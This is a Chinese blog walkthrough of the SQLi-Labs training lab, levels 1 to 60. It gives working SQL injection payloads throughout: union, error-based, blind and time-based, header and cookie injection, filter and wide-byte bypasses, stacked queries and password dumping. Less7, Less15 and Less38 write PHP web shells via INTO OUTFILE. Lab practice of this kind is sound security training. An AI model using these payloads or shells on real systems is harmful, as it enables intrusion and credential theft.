SQLi_LABS靶场

Less1 ’


image.png

报错

简单的单引号报错
image.png

注释

注释 – - , # ,-- + 或者url编码后
image.png
image.png

order by

order by 4 错误 order by 3 返回正常
image.png

union select

image.png
2 和 3 的位置是回显的
查询一下数据库 和 版本号

?id=-1’ union select 1,version(),database()%23

image.png

查询所有数据库名 (group_concat)

?id=-1’ union select 1,database(),(select group_concat(schema_name) from information_schema.schemata) %23

image.png
当前是在security 数据库

查询security内的所有表名

?id=-1’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23
或者
id=-1’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) %23

image.png

查询字段(users)

?id=-1’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) %23

image.png

查询字段数据

?id=-1’ union select 1,database(),(select group_concat(username,‘~’,password) from users ) %23

?id=-1’ OR 1=2 union select 1,database(),(select group_concat(username,‘~’,password) from security.users ) %23

题目一算是一个简单sql注入步骤 ,
查看源代码
image.png

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";

$sql=“SELECT * FROM users WHERE id=‘1’ union select 1,2,database()’ LIMIT 0,1”;
这样就构成了完整查询数据库的sql语句

直接就把id 带给了数据库 没有做任何的过滤

Less2 数字

image.png
数字型 sql注入
经过测试 输入单引号报错 但是注释不了
image.png
使用数字 order by 4 报错 order by 3 正常
image.png

使用union select 查询数据库
image.png
查数据

查数据库
?id=2 AND 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata – -
查表
?id=2 AND 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() – -
查字段
?id=2 AND 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ – -
查数据
?id=2 AND 1=2 union select 1,2,group_concat(username,‘:’,password) from users – -

image.png
查看源代码
image.png
把第一关的双引号去掉了 ,还是直接带入

Less3 ')

image.png
这个是 ') sql注入
image.png

?id=2’) AND 1=2 union select 1,2,database() – -

成功查询到数据库
image.png

image.png
代码这里使用了 (‘’) 的形式
绕过闭合就号了

$sql=“SELECT * FROM users WHERE id=(‘1’) 这里就写我们需要的数据了’) LIMIT 0,1”;

Less4 ")

image.png
输入单引号是不报错的
输入双引号报错
image.png
但是单引号还是没有闭合
id 处应该还需要一个) 去进行闭合
image.png
“) 成功闭合注释
image.png
查询数据库 ,版本
image.png
源代码
image.png
首先传入了字符型的id值 ,然后再经过 i d = ′ " ′ . id= '"'. id=".id’”’ 添加双引号
第一步 双引号闭合 ,但没有完全闭合 ,下面查询的时候还有个半括号 )
然后才能去闭合 查询 ")

Less5 ’ 盲注 (报错注入)

image.png
只会返回这两个界面 一个报错 ,一个正常 且没有数据
image.png
image.png

floor报错

image.png

查数据库
?id=1’ union select count(*),0,concat((select database() limit 3,1 ),‘~’,floor(rand()2))as a from information_schema.tables group by a limit 0,10 --+
查表
?id=1’ union select null,count(
),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()4))as a from information_schema.tables group by a%23
查字段
?id=1’ union select null,count(
),concat((select column_name from information_schema.columns where table_name=‘users’ limit 12,1),floor(rand()4))as a from information_schema.tables group by a%23
查数据
?id=1’ union select null,count(
),concat((select concat(username,password) from users limit 2,1),floor(rand()*4))as a from information_schema.tables group by a%23

updataxml

查数据库
?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – -
查表
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),1) – -
使用substr的方法
?id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,100),0x7e),1)-- -
查字段
substr方法
?id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),1,100),0x7e),1)-- -

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database()),1,100,0x7e),2) – -
查数据
?id=1’ and updatexml(1,concat(0x7e,substr((select group_concat(username,‘–’,password) from users),32,31),0x7e),2) – -

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,‘–’,password) from users),1,31,0x7e),1) – -

extractvalue

查数据
?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,‘–’,password) from users),1,31,0x7e)) – -

(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a)
其中payload是要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
*
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

updatexml 和 extractvalue 的 方法差不多的

image.png
单引号闭合 但是不输出 $row 参数

Less6 "

image.png
和第五关一样的
image.png
这里是双引号闭合

Less7 ')) into outfile

image.png
Use outfile
看来是要求我们使用outfile 函数
image.png
是可以写入文件的
那可以尝试写一个shell
image.png
使用 ')) – - 注释

用法

用法:select 列名 from table [where语句] into outfile ‘目标文件’

?id=1’)) union select 1,‘<?php @eval($_POST["cmd"])?>’,3 INTO outfile ”E:\phpstudy_pro\WWW\lab\sqli-labs\Less-7\a.php“ – -

?id=1’)) union select 1,0x3c3f70687020406576616c28245f504f53545b22636d64225d293f3e2c3 INTO outfile ”E:\phpstudy_pro\WWW\lab\sqli-labs\Less-7\a.php“ – -
可以进行编码

Less8

image.png
正常显示
然后输入单引号 之后不回显了
image.png
注释掉 盲注
image.png
不存在报错注入了 ,不回显的布尔盲注
使用length 去做判断 已经知道的数据库名 security ,不知道的话可以尝试爆破 长度
数库名长度=8
image.png
可以使用bp 的爆破功能去fuzz 出数据库名

and (ascii(substr((select database()) ,1,1))) = 115 --+
and (ascii(substr((select database()) ,2,1))) = 101 --+
and (ascii(substr((select database()) ,3,1))) = 99 --+
and (ascii(substr((select database()) ,4,1))) = 117 --+
and (ascii(substr((select database()) ,5,1))) = 114 --+
and (ascii(substr((select database()) ,6,1))) = 105 --+
and (ascii(substr((select database()) ,7,1))) = 116 --+
and (ascii(substr((select database()) ,8,1))) = 121 --+

Less9 时间盲注

image.png

使用 if(sleep(10)) 来验证是否可以直接sql 语句
and if(1=1,sleep(10),3) 可以看成三目运算符

查询长度

?id=1’ and (length(database()))=8 and if(1=1,sleep(10),3) – -

查询数据库的第一个字符是什么
第一个字符是115 的ascii

id=1’ and (ascii(substr((select database()),1,1)))=115 and if(1=1,sleep(5),3) – -

image.png
延时了

Less10

和第九一样 双引号闭合
image.png

Less11

image.png
抓包获取数据
image.png
用户出 ,输入一个单引号就报错了
image.png
注释 绕过登录
image.png
爆数据库

uname=admin’+and 1=2 union select group_concat(schema_name),2 from information_schema.schemata#&passwd=123456&submit=Submit

image.png

源代码
image.png
也是简单的post传参 ,单引号闭合

Less12

image.png
双引号报错
image.png
双引号括号注释 成功
image.png
查询回显点
1,2 回显
image.png
查询数据库
image.png

Less13

image.png
单引号报错
image.png
image.png是一个不回显的sql盲注
先用sleep延时是否和sql交互
image.png
成功延时10秒 ,与数据库交互
他还可以报错
那可以时候报错注入
updatexml
查询数据库
image.png

image.png

Less14

image.png
双引号报错
且木有其他回显 。也是报错注入
使用updatexml
和上关一样的闭合符号不一样
image.png

Less15

image.png
输入单引号和输入其他符号也一样不会报错
image.png
使用万能密码
image.png
成功登录
返回success 的图片样式 ,不存在报错了
那就是sql盲注了
使用sleep延时去拆解 数据库名
成功延时数据库是八位
image.png

查看源代码
image.png
是不回显数据的 ,fwrite 函数是写入的函数 ,
这里还可以使用 into outfile 去写webshll

uname=admin’ or 1=1 limit 0,1 into outfile ‘C:/less15.php’ lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737331355D293B3F3E#&passwd=pass&submit=Submit

Less16

双引号闭合
和15 一样的 盲注

Less17

image.png

密码处输入一个单引号报错 ,
username 必须是要admin
那就是password 处 也与数据库交互 , 然后使用报错注入

uname=admin&passwd=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit

image.png

Less18

image.png
会显示IP地址
image.png
都不会报错 没有反应
username或password输入错误的值都不会回显User-Agent的值,但是如果username和password的值正确,就会像下图这样显示User-Agent的值
image.png
可能存在user-agent 头注入拉
使用user-agent 报错注入

POST /lab/sqli-labs/Less-18/ HTTP/1.1
Host: 192.168.226.135
Content-Length: 34
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.226.135
Content-Type: application/x-www-form-urlencoded
User-Agent: 1’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ’
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.226.135/lab/sqli-labs/Less-18/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

uname=admin&passwd=1&submit=Submit

image.png
成功爆出数据库

#获取服务器上所有数据库的名称
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1) or ’
#获取security数据库的所有表名称
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),32,31),0x7e),1) or ’
#获取security数据库users表的所有列名称
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,31),0x7e),1) or ’
#获取security数据库users表的username和password列的所有值
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from security.users),1,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from security.users),32,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from security.users),63,31),0x7e),1) or ’
User-Agent: ’ or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,‘^’,password)) from security.users),94,31),0x7e),1) or ’

Less19

image.png
和上一关差不多 ,这关是referer 头注入
单引号报错
image.png
查询数据库

Referer: http://192.168.226.135/lab/sqli-labs/Less-19/’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ’

image.png

Less20

使用admin 1 进行登录
image.png
登录之后有个i love you cookie
应该是cookie注入了
但是加上了cookie 还是没有效果
image.png

再看看其他包
有两个包 还有一个get 的包
image.png
这里在cookie 后面加上单引号就报错了
成功报错出数据库
image.png

___________________________________________________________

Less21

image.png
看着和20 那关没有什么区别啊
但是他这里的cookie 加密了
image.png
base64 加密看着像
那绕过把 sql语句也加密发过去看看 会咋样
加了一个单引号然后加密base64 就报错了

Cookie: uname=YWRtaW43ACc=

updatexml 报错注入加密看看

Cookie: uname=YWRtaW43ACcgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSBvciAn

成功注入出数据库
image.png

Less22image.png

好像没有什么不一样
找找看
双引号加密 就报错了 应该是双引号闭合
image.png

Cookie: uname=YWRtaW43IiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==

数据库
和上关闭合不一样而已
image.png

Less23

image.png
切换到GET 型的了
image.png
输入一个单引号就报错拉 !
但是 过滤掉了注释
这里绕过注释的方法

绕过注释符号(#,–(后面跟一个空格))过滤:
id=1’ union select 1,2,3||'1
最后的or ‘1闭合查询语句的最后的单引号,或者:
id=1’ union select 1,2,'3

使用 and ‘1’=‘1 或者 or ‘1’=‘1 绕过
qing’ union select 1,group_concat(username),group_concat(password) from users where 1 or ‘1’ =
-1’ union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and ‘1’='1

成功绕过
image.png
回显的地方 2
image.png
爆出数据库
image.png
这里尝试 '3 去绕过注释 好像在这里并不成功
image.png
然后使用and ‘1’='1 成功绕过
image.png

Less24

image.png

二次注入
这道题注入点不在前端,而是因为数据在二次调用的时候没有过滤,导致了用户通过构造payload绕过去修改其他用户的密码
查看源码,可以看到对于username没有过滤,直接引用了,导致构造的用户修改密码时修改其他用户的密码,并且不需要curr_pass
image.png
构造payload admin’# 即可闭合sql语句 使得password=$curr_pass不起作用 首先创建用户 admin’# 登录此用户,之后修改密码,修改后尝试登录admin用户,发现登录成功。
登录
image.png
修改
image.png
登录成功
image.png

Less25

image.png
好像也是是过滤了and or
image.png

preg_replace 函数 替换了 or and
绕过

尝试双写 发现绕过过滤, -1’ anandd updatexml(1,concat(0x7e,(select database()),0x7e),1) %23 将and和or 换成 && 和 || 同样可以绕过
还可以使用 这个绕过
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

先报错
image.png
双写绕过
image.png
ANANDD 加上 updatexml 绕过
image.png
简单的 查询

=-1’ union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

image.png

Less26

过滤了注释和空格的注入

image.png

1.绕过空格(注释符/* */,%a0):

两个空格代替一个空格,用Tab代替空格,%a0=空格:
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
最基本的绕过方法,用注释替换空格:
/* 注释 */
image.png
使用浮点数:
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3

2.括号绕过空格:

如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

看源代码
image.png
还是过滤了些东西的 or and / 注释 等

用%A0替代空格使用,用&&(%26%26)替代AND使用
构造payload: 0’%A0UNION%A0SELECT%A01,version(),database()%26%26%a0’1
这道题还可以使用盲注实现
0’||left(database(),1)=‘s’%26%26’1’=‘1
同样报错注入也可以实现
0’||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||‘1’='1

这是不知道为啥我这里只用 ( 绕过成功
空格 试了 %0a %00 好像没有用

id=1’ aandnd(updatexml(1,concat(0x7e,substr((select (group_concat(schema_name)) from (infoorrmation_schema.schemata)),1,31),0x7e),1))oorr’1’='1

报错显示出来 oorr’1’='1 当做注释
image.png

Less27

image.png
成功注释,

另外过滤了union select
使用大小写绕过试试
image.png
payload:

0’%0aUNion%0aseLEct%0a1,2,3%26%26%0a’1
0’%0aUNion%0aseLEct%0a1,2,3;%00

Less28

过滤注释 空格,union 和select在一起的使用

#测试回显字段
#发现union%0aselect被过滤了
?id=1’) %0aunion%0aselect%0a1,2,3%0aand%0a’1’=(‘1
采用双写绕过
?id=1’) %0auniunion%0aselecton%0aselect%0a1,2,3%0aand%0a’1’=(‘1
#查询数据库名
?id=1’) %0auniunion%0aselecton%0aselect%0a1,database(),3%0aand%0a’1’=('1

#查询表名
?id=1’) %0auniunion%0aselecton%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0a where%0a table_schema=database()and%0a’1’=('1

image.png

Less29

单引号直接报错
image.png
注释 回显
image.png
回显字段 查数据库
image.png
查表
image.png

Less30

闭合不同双引号闭合 ,和第二关没有什么区别
image.png

-------------------------------------------------

Less31

双引号报错
image.png
是") 进行闭合就ok了
image.png
好像和上一关处了闭合不同 。没有什么地方不同了啊
image.png

Less32 宽字节

image.png

单引号没有报错
image.png
如果单引号前加上一个%df 就会造成错误
image.png
注释掉 然后 查询数据库 ,用户
image.png

源代码
image.png
本来过滤了些东西单引号 这些 进行转义
然后 关键在于 “SET NAMES gbk”
设置为gbk 的格式
为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

Less33

输入单引号 ,被转义了 /
image.png
依旧还是单引号%df报错 ,宽字节注入
image.png
和上一关步骤一样
爆表
image.png
代码和上关差别不大 ,这里使用了 addslashes 函数 。实质是一样的
image.png

Less34

image.png
post 型
单引号 依然被转义
image.png
使用宽字节 加 or 万能密码成功登录
image.png
使用报错注入注入出数据库
image.png

Less35

image.png
单引号报错,然后转义 ,但是没法注释
image.png
数字型的试试
image.png
数字型注入查询数据库
image.png

Less36

字符型宽字节注入 和前面没有区别 依然是转义了单引号
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Less37

image.png
转义
image.png
依然没有什么变化

image.png
源代码
image.png
这里使用 mysqli_real_escape_string 函数
但是没有发生实质性的变化 ,依然还是设置了gbk

Less38 堆叠 ;

image.png单引号报错
先闭合它
image.png
然后使用分号;,指向任何正常的sql语句
可以执行sql语句但是没有回显
写个webshell 成功 了

-1’;select ‘<?php assert($_POST[cmd]);?>’ into outfile ‘E:/phpstudy_pro/WWW/less38.php’-- s

image.png

就是通过将多条语句通过;隔开写在一起构成多语句,由于未对参数进行处理导致多条语句正常执行 堆叠查询受限于api或者数据库引擎不支持的限制,权限不足也会限制语句执行
源代码
image.png
之所以能使用堆叠注入,是因为代码中使用了_mysqli_multi_query()_函数,该函数可以执行多个针对数据库的查询。
堆叠注入的结果是无法显示在页面上的,如果想从页面看出来是否堆叠成功,可以把69行的注释去掉,这样,执行超过一条sql语句时(无论分号之后的语句执行成功还是失败),页面会回显

Less39

image.png
依然单引号报错
image.png
闭合注释不了 可能是数字型
image.png
成功闭合
image.png
堆叠注入写webshell
image.png

Less40

不会报错 ,可能是盲注
查看回显

?id=1 回显
?id=1’ 没回显
?id=1" 有回显
?id=1’) – - 有回显
?id=1" – - 有回显

盲注
先闭合然后使用堆叠注入
image.png
写入成功

Less41

’ " ') ") 不回显 也不报错 注释不了
数字型 回显 可以注释
image.png
也是堆叠注入 。 就不写了
payload
-1;sql语句

Less42

image.png
登录界面
随便输入看看
image.png
测试注入点
测试了 ’ " ') ") 无果
返回还是这样
image.png
对密码出测试
单引号直接报错
image.png
报错注入直接查询出数据库
image.png
也可以使用堆叠注入

Less43

image.png
闭合符号不同而已
') 闭合
image.png

Less44

image.png
查找注入点
这里使用hackbar 试试 bp 发出去包之后要跳转另外一个界面显示 ,bp显示不了 不知道为啥
测试password 这里存在注入点 ,可以or 绕过登录,然后执行堆叠注入
image.png

绕过成功image.png

Less45

闭合不同
') 闭合
image.png

Less46

image.png
image.png
sort值分别取1,2,3,就能发现,这关的参数是order by后面的值,也就是说,这关的sort参数值表示根据表的哪一列来排列查询结果
order by后面是不能接union select
但是他会报错啊 ,单引号直接报错 ,可以利用报错注入
数字型的注入 + 报错注入
image.png

Less47

闭合不同
’ 闭合
image.png

Less48

布尔盲注
不管输入什么都是黑板 除了数字
数字型布尔盲注
image.png
使用 if(length) 去判断长度 然后使用ascii 去拆解数据库名 比较笨的方法
image.png
成功延时
获取长度

1 and if(length(database())=8,sleep(5),0)–+

获取值

1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))–+

Less49

闭合不同而已
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
’ 闭合
和上一关一样 的盲注
image.png

Less50

image.png
单引号直接报错
使用updatexml 报错注入
单引号报错,测试是 数字型报错注入
image.png

Less51

image.png
单引号直接报错 ,报错注入就来 了
image.png

Less52

image.png
输入’ 不回显什么东西 ,输入-1 回显数据 ,数字型
盲注 , 延时注入
image.png
还可以使用数字型的堆叠注入

-1;select ‘shell’ into outfile ‘路径’

Less53

image.png
单引号闭合 ,
然后堆叠注入 ,这里是不会回显数据的

Less54 挑战

image.png
要在规定步数之类完成特定任务
这关要在10步之内找到CHALLENGES数据库中的secret key并提交
第一次就试了六次 hh
闭合单引号
image.png
回显的点
image.png
查数据了
由于题目给出了数据库 就不用去database了
直接表 和字段名一起查询 使用 group_concat(concat(, ,))
image.png
看到了secret_CIEE 表
重新刷新来一遍 ,数据库是会刷新的也是
image.png
得到密钥

Less55

image.png
要求是在14步之内找到CHALLENGES数据库中的secret key并提交
经过11 次的测试 测试 出 ’ " ') ") -1 都不能使用
概率是数字型的了
那就是闭合的问题了 测试 1) 闭合
13 次闭合成功
image.png
看来要重新刷新了
使用上一关的手法 ,表 和 字段一起查询
image.png
查询密钥
image.png

image.png

Less56

image.png
单引号 括号闭合
image.png
查表 字段

-1’) union select 1,2,group_concat(concat(table_name,‘–’,column_name)) from information_schema.columns where table_schema=‘challenges’ – -

image.png
查密钥

Less57

双引号闭合
其他都是一样的

Less58

image.png
这关只能使用5 步 去拿到密钥
image.png
单引号报错 ,这里可以直接使用报错注入
表名
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
字段
image.png
查数据
image.png

Less59

image.png
单引号报错
image.png
测试 数字型注入
image.png
数字型报错注入
查表
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
查字段
image.png
查数据
image.png

Less60

闭合不一样而已 <br />") 闭合 使用报错注入

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值